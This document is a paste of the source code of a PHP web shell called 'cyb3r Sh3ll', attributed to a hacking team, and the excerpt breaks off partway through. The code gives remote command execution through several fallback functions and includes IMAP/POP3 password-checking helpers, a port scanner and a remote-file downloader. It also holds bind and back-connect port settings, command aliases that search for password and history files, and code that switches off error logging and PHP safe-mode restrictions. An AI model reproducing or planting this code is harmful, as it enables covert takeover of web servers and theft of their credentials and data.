· 9 years ago · Oct 24, 2016, 11:04 AM
1<?php
2
3 $lock = "on";
4 $user = "DarkKnight-D3viL";
5 $pass = "indianhackerzsquad";
6 $antiCrawler = "on";
7 $tracebackFeature = "off";
8 $log_email = "indianhackerzsquad@gmail.com";
9
10 @ignore_user_abort(TRUE);
11
12 @set_magic_quotes_runtime(0);
13 error_reporting(5);
14
15 echo "<center><b>Owned by Team : Indian Hackerz Squad</b></center>";
16
17 $phpVersion = phpversion();
18
19 $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
20
21 $win = strtolower(substr(PHP_OS,0,3)) == "win";
22
23 $shver = "1.0";
24
25 if (!function_exists("getmicrotime"))
26 {
27 function getmicrotime()
28 {
29 list($usec, $sec) = explode(" ", microtime());
30 return ((float)$usec + (float)$sec);
31 }
32 }
33 define("starttime",getmicrotime());
34
35 if (get_magic_quotes_gpc())
36 {
37 if (!function_exists("strips"))
38 {
39 function strips(&$arr,$k="")
40 {
41 if (is_array($arr))
42 {
43 foreach($arr as $k=>$v)
44 {
45 if (strtoupper($k) != "GLOBALS")
46 {
47 strips($arr["$k"]);
48 }
49 }
50 }
51 else
52 {
53 $arr = stripslashes($arr);
54 }
55 }
56 }
57 strips($GLOBALS);
58 }
59
60
61
62 foreach($_REQUEST as $k=>$v)
63 {
64 if (!isset($$k))
65 {
66 $$k = $v;
67 }
68 }
69 if (!empty($unset_surl))
70 {
71 setcookie("cyb3r_surl");
72 $surl = "";
73 }
74 elseif (!empty($set_surl))
75 {
76 $surl = $set_surl;
77 setcookie("cyb3r_surl",$surl);
78 }
79 else
80 {
81 $surl = $_REQUEST["cyb3r_surl"];
82 }
83
84 $surl_autofill_include = TRUE;
85 if ($surl_autofill_include and !$_REQUEST["cyb3r_surl"])
86 {
87 $include = "&";
88 foreach (explode("&",getenv("QUERY_STRING")) as $v)
89 {
90 $v = explode("=",$v);
91 $name = urldecode($v[0]);
92 $value = urldecode($v[1]);
93 foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle)
94 {
95 if (strpos($value,$needle) === 0)
96 {
97 $includestr .= urlencode($name)."=".urlencode($value)."&";
98 }
99 }
100 }
101 if ($_REQUEST["surl_autofill_include"])
102 {
103 $includestr .= "surl_autofill_include=1&";
104 }
105 }
106
107 if (empty($surl))
108 {
109 $surl = "?".$includestr;
110 }
111
112 $surl = htmlspecialchars($surl);
113 $timelimit = 0;
114
115 $welcome = "(: Welcome to the D3viL Zone - DarkKnight-D3viL. :)";
116 $host_allow = array("*");
117 $gzipencode = False;
118
119 $ax4 ="http://";
120 $filestealth = TRUE;
121
122 $release = @php_uname('r');
123 $kernel = @php_uname('s');
124 $expltlink='http://www.exploit-db.com/search/?action=search&filter_exploit_text=';
125 if( strpos('Linux', $kernel) !== false )
126 $expltlink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
127 else
128 $expltlink .= urlencode( $kernel . ' ' . substr($release,0,3) );
129
130 $donated_act = array("");
131
132 $curdir = "./";
133
134 $curdir = getcwd();
135 $tmpdir = "";
136
137 $tmpdir_log = "./";
138
139 $sort_default = "0a";
140
141 $sort_save = TRUE;
142
143 if (substr((strtoupper(php_unamE())),0,3)=="WIN")
144 $windows=1;
145 else
146 $windows=0;
147
148 function imaplogiN($host,$username,$password)
149 {
150 $sock=fsockopen($host,143,$n,$s,5);
151 $b=namE();
152 $l=strlen($b);
153 if(!$sock)return -1;
154 fread($sock,1024);
155 fputs($sock,"$b LOGIN $username $password\r\n");
156 $res=fgets($sock,$l+4);
157
158 if ($res == "$b OK")
159 return 1;
160 else
161 return 0;
162
163 fclose($sock);
164 }
165
166 function pop3logiN($server,$user,$pass)
167 {
168 $sock=fsockopen($server,110,$en,$es,5);
169 if(!$sock)
170 return -1;
171 fread($sock,1024);
172 fwrite($sock,"user $user\n");
173 $r=fgets($sock);
174
175 if($r{0}=='-')
176 return 0;
177 fwrite($sock,"pass $pass\n");
178 $r=fgets($sock);
179 fclose($sock);
180
181 if($r{0}=='+')
182 return 1;
183 return 0;
184 }
185
186 function check_urL($url,$method,$search,$timeout)
187 {
188 if(empty($search))
189 $search='200';
190 $u=parse_url($url);
191 $method=strtoupper($method);
192 $host=$u['host'];
193 $file=(!empty($u['path']))?$u['path']:'/';
194 $data=(!empty($u['query']))?$u['query']:'';
195
196 if(!empty($data))
197 $data="?$data";
198 $sock=@fsockopen($host,80,$en,$es,$timeout);
199
200 if($sock)
201 {
202 fputs($sock,"$method $file$data HTTP/1.0\r\n");
203 fputs($sock,"Host: $host\r\n");
204
205 if($method=='GET')
206 fputs($sock,"\r\n");
207 elseif($method='POST')
208 fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
209 else
210 return 0;
211
212 if($search=='200')
213 if(substr(fgets($sock),0,3)=="200")
214 {
215 fclose($sock);
216 return 1;
217 }
218 else
219 {
220 fclose($sock);
221 return 0;
222 }
223 while(!feof($sock))
224 {
225 $res=trim(fgets($sock));
226 if(!empty($res))
227 if(strstr($res,$search))
228 {
229 fclose($sock);
230 return 1;
231 }
232 }
233 fclose($sock);
234 }
235 return 0;
236 }
237
238 function snmpchecK($ip,$com,$timeout)
239 {
240 $res=0;
241 $n=chr(0x00);
242 $packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)).
243 $com. chr(0xA0).
244 chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n.
245 chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C).
246 chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01).
247 chr(0x01). chr(0x01). $n. chr(0x05). $n;
248
249 $sock=@fsockopen("udp://$ip",161);
250 socket_set_timeout($sock,$timeout);
251 @fputs($sock,$packet);
252 socket_set_timeout($sock,$timeout);
253 $res=fgets($sock);
254 fclose($sock);
255 return $res;
256 }
257
258 function checkthisporT($ip,$port,$timeout,$type=0)
259 {
260 if(!$type)
261 {
262 $scan=@fsockopen($ip,$port,$n,$s,$timeout);
263 if($scan)
264 {
265 fclose($scan);
266 return 1;
267 }
268 }
269 elseif(function_exists('socket_set_timeout'))
270 {
271 $scan=@fsockopen("udp://".$ip,$port);
272 if($scan)
273 {
274 socket_set_timeout($scan,$timeout);
275 @fwrite($scan,"\x00");
276 $s=time();
277 fread($scan,1);
278 if((time()-$s)>=$timeout)
279 {
280 fclose($scan);
281 return 1;
282 }
283 }
284 }
285 return 0;
286 }
287
288 function get_sw_namE($host,$timeout)
289 {
290 $sock=@fsockopen($host,80,$en,$es,$timeout);
291 if($sock)
292 {
293 $page=namE().namE();
294 fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
295 while(!feof($sock))
296 {
297 $con=fgets($sock);
298 if(strstr($con,'Server:'))
299 {
300 $ser=substr($con,strpos($con,' ')+1);
301 return $ser;
302 }
303 }
304 fclose($sock);
305 return -1;
306 }
307 return 0;
308 }
309
310 function getDisabledFunctions()
311 {
312 if(!ini_get('disable_functions'))
313 {
314 echo "None";
315 }
316 else
317 {
318 echo @ini_get('disable_functions');
319 }
320 }
321
322 function showsizE($size)
323 {
324 if ($size>=1073741824)
325 $size = round(($size/1073741824) ,2)." GB";
326 elseif ($size>=1048576)
327 $size = round(($size/1048576),2)." MB";
328 elseif ($size>=1024)
329 $size = round(($size/1024),2)." KB";
330 else
331 $size .= " B";
332
333 return $size;
334 }
335function whereistmP(){
336$uploadtmp=ini_get('upload_tmp_dir');
337$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
338if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
339if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
340if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
341if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
342if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
343return ".";
344}
345function downloadiT($get,$put){
346$fo=@strtolower(ini_get('allow_url_fopen'));
347if($fo || $fo=='on')$con=file_get_contents($get);
348else{
349$u=parse_url($get);
350$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
351$url=fsockopen($host, 80, $en, $es, 12);
352fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
353$tmp=$con='';
354while($tmp!="\r\n")$tmp=fgets($url);
355while(!feof($url))$con.=fgets($url);
356}
357$mk=file_put_contents($put,$con);
358if($mk)return 1;
359return 0;
360}
361function flusheR(){
362flush();@ob_flush();
363}
364function namE(){
365$name='';
366srand((double)microtime()*100000);
367for ($i=0;$i<=rand(3,10);$i++){
368$name.=chr(rand(97,122));
369}
370return $name;
371}
372function hlinK($str=""){
373$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','sec','cP','mV','rN','deL');
374$ret=$_SERVER['PHP_SELF']."?";
375$new=explode("&",$str);
376foreach ($_GET as $key => $v){
377$add=1;
378foreach($new as $m){
379$el = explode("=", $m);
380if ($el[0]==$key)$add=0;
381}
382if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&";
383}
384$ret.=$str;
385return $ret;
386}
387function shelL($command){
388global $windows,$disablefunctions;
389$exec = '';$output= '';
390$dep[]=array('pipe','r');$dep[]=array('pipe','w');
391if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
392elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
393elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
394elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
395elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
396elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
397elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
398return $exec;
399}
400// Registered file-types.
401// array(
402// "{action1}"=>array("ext1","ext2","ext3",...),
403// "{action2}"=>array("ext4","ext5","ext6",...),
404// ...
405// )
406$ftypes = array(
407 "html"=>array("html","htm","shtml"),
408 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
409 "exe"=>array("sh","install","bat","cmd"),
410 "ini"=>array("ini","inf"),
411 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
412 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
413 "sdb"=>array("sdb"),
414 "phpsess"=>array("sess"),
415 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
416);
417// Registered executable file-types.
418// array(
419// string "command{i}"=>array("ext1","ext2","ext3",...),
420// ...
421// )
422// {command}: %f% = filename
423$exeftypes = array(
424 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
425 "perl %f%" => array("pl","cgi")
426);
427/* Highlighted files.
428 array(
429 i=>array({regexp},{type},{opentag},{closetag},{break})
430 ...
431 )
432 string {regexp} - regular exp.
433 int {type}:
4340 - files and folders (as default),
4351 - files only, 2 - folders only
436 string {opentag} - open html-tag, e.g. "<b>" (default)
437 string {closetag} - close html-tag, e.g. "</b>" (default)
438 bool {break} - if TRUE and found match then break
439*/
440$regxp_highlight = array(
441 array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
442 array("config.php",1) // example
443);
444$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
445 // array (i=>{letter} ...); string {letter} - letter of a drive
446//$safemode_diskettes = range("a","z");
447$hexdump_lines = 8;// lines in hex preview file
448$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
449$cx7 =".com";
450$nixpwdperpage = 100; // Get first N lines from /etc/passwd
451$bindport_pass = "cyb3r"; // default password for binding
452$bindport_port = "31373"; // default port for binding
453$bc_port = "31373"; // default port for back-connect
454$cx4 ="/x.";
455$datapipe_localport = "8081"; // default port for datapipe
456// Command-aliases
457if (!$win)
458{
459 $cmdaliases = array(
460 array("-----------------------------------------------------------", "ls -la"),
461 array("find all suid files", "find / -type f -perm -04000 -ls"),
462 array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
463 array("find all sgid files", "find / -type f -perm -02000 -ls"),
464 array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
465 array("find config.inc.php files", "find / -type f -name config.inc.php"),
466 array("find config* files", "find / -type f -name \"config*\""),
467 array("find config* files in current dir", "find . -type f -name \"config*\""),
468 array("find all writable folders and files", "find / -perm -2 -ls"),
469 array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
470 array("find all service.pwd files", "find / -type f -name service.pwd"),
471 array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
472 array("find all .htpasswd files", "find / -type f -name .htpasswd"),
473 array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
474 array("find all .bash_history files", "find / -type f -name .bash_history"),
475 array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
476 array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
477 array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
478 array("list file attributes on a Linux second extended file system", "lsattr -va"),
479 array("show opened ports", "netstat -an | grep -i listen")
480 );
481}
482else
483{
484 $cmdaliases = array(
485 array("-----------------------------------------------------------", "dir"),
486 array("show opened ports", "netstat -an")
487 );
488}
489$sess_cookie = "cyb3rvars"; // Cookie-variable name
490$usefsbuff = TRUE; //Buffer-function
491$px7 ="html";
492$copy_unset = FALSE; //Remove copied files from buffer after pasting
493//Quick launch
494$quicklaunch = array(
495 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
496 array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
497 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
498 array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
499 array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
500 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
501 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
502 array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
503 array("<b>Shell</b>",$surl."act=shells&d=%d"),
504 array("<b>Cracker</b>",$surl."act=cracker&d=%d"),
505 array("<b>Scanner</b>",$surl."act=scanner&d=%d"),
506 array("<b>Net Tools</b>",$surl."act=nettools&d=%d"),
507 array("<b>SQL</b>",$surl."act=sql&d=%d"),
508 array("<b>PHP-code</b>",$surl."act=phpcode&d=%d"),
509 array("<b>Mailer</b>",$surl."act=mailer&d=%d"),
510 array("<b>DDOS</b>",$surl."act=dos&d=%d"),
511 array("<b>Local Domain</b>",$surl."act=localdomain&d=%d"),
512 array("<b>Upload</b>",$surl."act=upload&d=%d"),
513 array("<b>About</b>",$surl."act=about&d=%d"),
514 );
515//Highlight-code colors
516$highlight_background = "#c0c0c0";
517$highlight_bg = "#FFFFFF";
518$highlight_comment = "#6A6A6A";
519$highlight_default = "#0000BB";
520$highlight_html = "#1300FF";
521$highlight_keyword = "#007700";
522$highlight_string = "#000000";
523@$f = $_REQUEST["f"];
524@extract($_REQUEST["cyb3rcook"]);
525//END CONFIGURATION
526// -------------- Traceback Functions
527function sendLoginAlert()
528{
529 global $ownerEmail;
530 global $url;
531 $ref=$_SERVER['HTTP_REFERER'];
532 $agent=$_SERVER['HTTP_USER_AGENT'];
533 $accesedIp = $_SERVER['REMOTE_ADDR'];
534 $randomInt = rand(0,1000000); # to avoid id blocking
535 $from = "cyb3r-sh3ll$randomInt@cyb3r.gladiat0r.com";
536 //echo $from;
537 if(function_exists('mail'))
538 {
539 $subject = "Shell Accessed -- cyb3r-Sh3ll --";
540 $message = "
541Hey Owner ,
542
543 Your Shell(cyb3r-Sh3ll) located at $url was accessed by $accesedIp this mail refered by $ref
544 Your shell was accesed by $agent
545
546 If its not you :-
547
548 1. Please check if the shell is secured.
549 2. Change your user name and Password.
550 3. Check if lock is 0n!
551
552 Thanking You
553
554Yours Faithfully
555D3viL Zone
556 ";
557 mail($ownerEmail,$subject,$message,'From:'.$from);
558 }
559}
560
561//---------------------------------------------------------
562if(function_exists('session_start') && $lock == 'on')
563{
564 session_start();
565}
566else
567{
568 // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
569 $lock = 'off';
570}
571
572//logout
573if(isset($_GET['logout']) && $lock == 'on')
574{
575 $_SESSION['authenticated'] = 0;
576 session_destroy();
577 header("location: ".$_SERVER['PHP_SELF']);
578}
579
580/***************** Restoring *******************************/
581ini_restore("safe_mode_include_dir");
582ini_restore("safe_mode_exec_dir");
583ini_restore("disable_functions");
584ini_restore("allow_url_fopen");
585ini_restore("safe_mode");
586ini_restore("open_basedir");
587if(function_exists('ini_set'))
588{
589 ini_set('error_log',NULL); // No alarming logs
590 ini_set('log_errors',0); // No logging of errors
591 ini_set('file_uploads',1); // Enable file uploads
592 ini_set('allow_url_fopen',1); // allow url fopen
593}
594
595else
596{
597 ini_alter('error_log',NULL);
598 ini_alter('log_errors',0);
599 ini_alter('file_uploads',1);
600 ini_alter('allow_url_fopen',1);
601}
602// ----------------------------------------------------------------------------------------------------------------
603// \/Next code isn't for editing\/
604@set_time_limit(0);
605$tmp = array();
606foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
607$s = "!^(".implode("|",$tmp).")$!i";
608if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"#\">D3viL Zone</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
609?>
610<html>
611<head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us">
612<title>D3viL Zone || IHS - <?php echo getenv("HTTP_HOST"); ?></title>
613<?php
614if($antiCrawler != 'off')
615{
616 ?>
617 <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
618 <?php
619}
620?>
621<STYLE>
622TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #000000; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #000000; scrollbar-3dlight-color: #000000 scrollbar-darkshadow-color: #000000; scrollbar-track-color: #050E14; scrollbar-arrow-color: #D9D9D9; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #2b3b46; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #2b3b46; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #2b3b46; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #050e14;}</style>
623</head>
624<BODY text=#ffffff bottomMargin=0 bgColor=#050e14 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>
625<?php
626if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on')
627{
628 if( $_POST['user'] == $user &&
629 $_POST['pass'] == $pass )
630 {
631 $_SESSION['authenticated'] = 1;
632 // --------------------- Tracebacks --------------------------------
633 if($tracebackFeature == 'On')
634 {
635 sendLoginAlert();
636 }
637 // ------------------------------------------------------------------
638 }
639}
640
641if($lock == 'off')
642{?>
643 <p><font color=red><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></font></p>
644<?php
645}
646
647if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) )
648{
649
650?>
651<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark='#666666' cellPadding=5 width="100%" bgColor='#000000' borderColorLight='#c0c0c0' border=1 bordercolor='#C0C0C0'>
652<tr><td valign='top'><center><font face="times, serif" size="3" color="white">Welcome to the most advanced PHP web Shell- <b><font color=orange>cyb</font>3r Sh<font color=green>3ll</font></b> :: By cyb3r gl4d!470r ...</font></center></td>
653</tr>
654</table>
655<br/>
656
657
658<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark='#666666' cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=0 bordercolor='#C0C0C0'>
659<tr>
660
661<td width="50%"><center><img src="http://s15.postimage.org/94kp4a0ej/indian_flag.png" /></center></td>
662<td><center><img src="http://s15.postimage.org/whiqmsgi3/gladiator.png" width="352px" height="500px"/></center></td>
663</tr>
664</table>
665<div style="position:absolute; border-style:solid;border-width:0px; top:280px;left:280px; right:430px; bottom:180px;" >
666<center><font face="times, serif" color="white">
667 <h1><?php echo $welcome; ?></h1><br /><br />
668 <form method="POST" action="">
669 <input name="user" value="Username"/> <input name="pass" type="password" value="Password"/> <input type="Submit" value="Own This Box!"/>
670 </form>
671 <font size="3">Coded by cyb3r 9ladiat0r for all hacking communities working for my motherland.......<br/><br/>
672
673 Always there to serve my country, My India on any Terms...</font>
674
675 </font>
676</center>
677</div>
678<br/>
679<?php
680}
681//---------------------------------- We are authenticated now-------------------------------------
682//Launch the shell
683else
684{
685
686if ($act != "img")
687
688{
689
690$lastdir = realpath(".");
691
692chdir($curdir);
693
694if ($selfwrite or $updatenow) {@ob_clean(); cyb3r_getupdate($selfwrite,1); exit;}
695
696$sess_data = unserialize($_COOKIE["$sess_cookie"]);
697
698if (!is_array($sess_data)) {$sess_data = array();}
699
700if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
701
702if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
703
704
705
706$disablefunc = @ini_get("disable_functions");
707
708if (!empty($disablefunc))
709
710{
711
712 $disablefunc = str_replace(" ","",$disablefunc);
713
714 $disablefunc = explode(",",$disablefunc);
715
716}
717
718
719
720if (!function_exists("cyb3r_buff_prepare"))
721
722{
723
724function cyb3r_buff_prepare()
725
726{
727
728 global $sess_data;
729
730 global $act;
731
732 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
733
734 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
735
736 $sess_data["copy"] = array_unique($sess_data["copy"]);
737
738 $sess_data["cut"] = array_unique($sess_data["cut"]);
739
740 sort($sess_data["copy"]);
741
742 sort($sess_data["cut"]);
743
744 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
745
746 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
747
748}
749
750}
751
752cyb3r_buff_prepare();
753
754if (!function_exists("cyb3r_sess_put"))
755
756{
757
758function cyb3r_sess_put($data)
759
760{
761
762 global $sess_cookie;
763
764 global $sess_data;
765
766 cyb3r_buff_prepare();
767
768 $sess_data = $data;
769
770 $data = serialize($data);
771
772 setcookie($sess_cookie,$data);
773
774}
775
776}
777
778foreach (array("sort","sql_sort") as $v)
779
780{
781
782 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
783
784 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
785
786}
787
788if ($sort_save)
789
790{
791
792 if (!empty($sort)) {setcookie("sort",$sort);}
793
794 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
795
796}
797
798if (!function_exists("str2mini"))
799
800{
801
802function str2mini($content,$len)
803
804{
805
806 if (strlen($content) > $len)
807
808 {
809
810 $len = ceil($len/2) - 2;
811
812 return substr($content, 0,$len)."...".substr($content,-$len);
813
814 }
815
816 else {return $content;}
817
818}
819
820}
821
822if (!function_exists("view_size"))
823
824{
825
826function view_size($size)
827
828{
829
830 if (!is_numeric($size)) {return FALSE;}
831
832 else
833
834 {
835
836 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
837
838 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
839
840 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
841
842 else {$size = $size . " B";}
843
844 return $size;
845
846 }
847
848}
849
850}
851
852if (!function_exists("fs_copy_dir"))
853
854{
855
856function fs_copy_dir($d,$t)
857
858{
859
860 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
861
862 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
863
864 $h = opendir($d);
865
866 while (($o = readdir($h)) !== FALSE)
867
868 {
869
870 if (($o != ".") and ($o != ".."))
871
872 {
873
874 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
875
876 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
877
878 if (!$ret) {return $ret;}
879
880 }
881
882 }
883
884 closedir($h);
885
886 return TRUE;
887
888}
889
890}
891
892if (!function_exists("fs_copy_obj"))
893
894{
895
896function fs_copy_obj($d,$t)
897
898{
899
900 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
901
902 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
903
904 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
905
906 if (is_dir($d))
907
908 {
909
910 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
911
912 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
913
914 return fs_copy_dir($d,$t);
915
916 }
917
918 elseif (is_file($d)) {return copy($d,$t);}
919
920 else {return FALSE;}
921
922}
923
924}
925
926if (!function_exists("fs_move_dir"))
927
928{
929
930function fs_move_dir($d,$t)
931
932{
933
934 $h = opendir($d);
935
936 if (!is_dir($t)) {mkdir($t);}
937
938 while (($o = readdir($h)) !== FALSE)
939
940 {
941
942 if (($o != ".") and ($o != ".."))
943
944 {
945
946 $ret = TRUE;
947
948 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
949
950 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
951
952 if (!$ret) {return $ret;}
953
954 }
955
956 }
957
958 closedir($h);
959
960 return TRUE;
961
962}
963
964}
965
966if (!function_exists("fs_move_obj"))
967
968{
969
970function fs_move_obj($d,$t)
971
972{
973
974 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
975
976 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
977
978 if (is_dir($d))
979
980 {
981
